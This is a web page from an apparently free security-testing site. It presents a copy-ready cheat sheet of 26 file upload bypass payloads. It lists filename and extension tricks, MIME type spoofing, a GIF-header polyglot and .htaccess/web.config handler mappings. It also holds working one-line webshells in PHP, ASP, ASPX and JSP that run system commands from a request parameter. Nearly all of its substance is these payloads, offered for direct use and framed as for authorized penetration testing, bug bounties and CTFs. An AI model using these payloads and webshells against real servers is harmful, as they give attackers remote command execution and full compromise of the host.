$loading...
File upload bypass payloads for extension filtering, MIME type checks, content validation, and webshell deployment. (26 payloads)
shell.php.jpgshell.php%00.jpgshell.pHpshell.php5shell.phtmlshell.php.bakshell.php::$DATAshell.php%0ashell.php.shell.php shell.shtmlshell.php;.jpgContent-Type: image/jpeg (with PHP content)Content-Type: image/png (with PHP content)Content-Type: image/gif (with GIF89a; header + PHP)GIF89a;<?php system($_GET["cmd"]); ?><?php system($_GET["cmd"]); ?><?php echo shell_exec($_GET["cmd"]); ?><?=`$_GET[0]`?><% eval request("cmd") %><%@ Page Language="C#"%><%System.Diagnostics.Process.Start("cmd.exe","/c "+Request["c"]);%><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>Embed PHP in EXIF data of real JPEGPolyglot file: valid JPEG + PHP code in comment.htaccess: AddType application/x-httpd-php .jpgweb.config with PHP handler mappingLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 26 File Upload payloads for testing File Upload vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the File Upload generator to build customized File Upload variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all File Upload payloads are completely free, with no account required. Everything runs in your browser.